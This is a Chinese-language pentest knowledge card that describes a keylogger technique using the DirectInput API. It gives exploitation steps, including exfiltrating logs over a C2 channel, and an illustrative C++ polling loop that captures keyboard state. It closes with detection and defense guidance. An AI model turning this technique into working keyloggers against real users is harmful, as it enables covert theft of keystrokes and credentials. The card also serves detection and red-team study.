DirectInput 键盘记录:DirectInput8Create + GetDeviceState 循环读取 256 字节键盘状态
pentest/c2 · verified
一句话结论
滥用 DirectInput:DirectInput8Create 创建 IDirectInput8、CreateDevice(GUID_SysKeyboard) 取系统键盘,设置 c_dfDIKeyboard 数据格式后循环 GetDeviceState 读取 256 字节按键状态数组,即可在前台窗口场景下记录击键;其底层会调用 RegisterRawInputDevices。
原理
- DirectX 为游戏提供输入 API,DirectInput 是 DirectX 8 之前的输入部分。键盘记录器按标准初始化流程打开系统键盘设备:
DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, ...)创建接口;CreateDevice(GUID_SysKeyboard, &lpKeyboard, NULL)取键盘设备;SetDataFormat(&c_dfDIKeyboard)指定 256 字节按键状态的数据格式;SetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY)设定前台、非独占、屏蔽 Win 键的协作级别。 - 之后循环调用
GetDeviceState(sizeof(key), key)读取整个按键状态数组(每字节对应一个 DIK 扫描码的按下状态),每轮Sleep(50);若调用失败(例如窗口失去前台、设备未获取),Acquire()重新获取设备后再读一次。 - 原文特别指出:使用 DirectInput 获取按键状态时,
RegisterRawInputDevicesAPI 在后台被调用,因此它本质上是 Raw Input 的另一种使用路径,检测时同样会落到输入 API 遥测上。
触发条件
- 需要窗口句柄
hwndMain;DISCL_FOREGROUND使采集仅在该窗口处于前台时有效。 - 以普通用户权限运行在同一交互式会话;目标系统具备 DirectInput(dinput8)运行环境。
- 前台切换/失焦会导致
GetDeviceState失败,需要Acquire重试;EDR 未拦截。
利用步骤
- 创建窗口并保存
hwndMain,按上述顺序初始化IDirectInput8与键盘设备、设置数据格式和协作级别。 - 启动采集循环:
GetDeviceState(sizeof(key), key),失败则Acquire()后重读;按扫描码映射记录按键,Sleep(50)。 - 日志加密后落盘或经 C2 通道外传。
PoC
原文示意代码(SaveTheKey 未实现,原文注明仅用于说明;本卡未在本机执行):
LPDIRECTINPUT8 lpDI = NULL;
LPDIRECTINPUTDEVICE8 lpKeyboard = NULL;
BYTE key[256];
ZeroMemory(key, sizeof(key));
DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&lpDI, NULL);
lpDI->CreateDevice(GUID_SysKeyboard, &lpKeyboard, NULL);
lpKeyboard->SetDataFormat(&c_dfDIKeyboard);
lpKeyboard->SetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);
while(true)
{
HRESULT ret = lpKeyboard->GetDeviceState(sizeof(key), key);
if (FAILED(ret)) {
lpKeyboard->Acquire();
lpKeyboard->GetDeviceState(sizeof(key), key);
}
SaveTheKey(key, "log.txt");
Sleep(50);
}
变体与关联
- 底层等价路径:DirectInput 的键盘状态读取在后台依赖
RegisterRawInputDevices,与 [[pentest-c2-keylogger-rawinput-registerrawinputdevices]] 同源;DISCL_FOREGROUND的限制可用后台 Raw Input 或轮询补足。 - 边界:仅前台有效,用户态无法看到 UAC 安全桌面/登录界面的输入;调用栈中出现
dinput8.dll与模块签名是检测线索。 - 关联:同文章拆分的 [[pentest-c2-keylogger-getasynckeystate-polling]]、[[pentest-c2-keylogger-setwindowshookex-wh-keyboard-ll]]、[[pentest-c2-keylogger-rawinput-registerrawinputdevices]];检测卡 [[defense-detection-etw-keylogger-api-behavior]];真实样本 DirectInput 键盘记录痕迹见 [[defense-forensics-silverfox-winos4-file-registry-artifact-dump]]。
检测与防御
- 检测:Elastic Defend 8.12+ 的键盘记录检测规则包含 “Keystroke Input Capture via DirectInput”;DirectInput 最终落到
RegisterRawInputDevices等输入 API,可用process.Ext.api.name、参数(键盘 usage/INPUTSINK)、调用栈(含dinput8.dll)、最终模块签名与路径综合判断,并结合GetDeviceState的高频调用节奏。 - 防御:部署带 ETW API 遥测的 EDR 并启用 DirectInput/Raw Input 相关规则;应用白名单与签名强制;对游戏/输入类合法软件建立白名单;告警后按凭据泄露处置。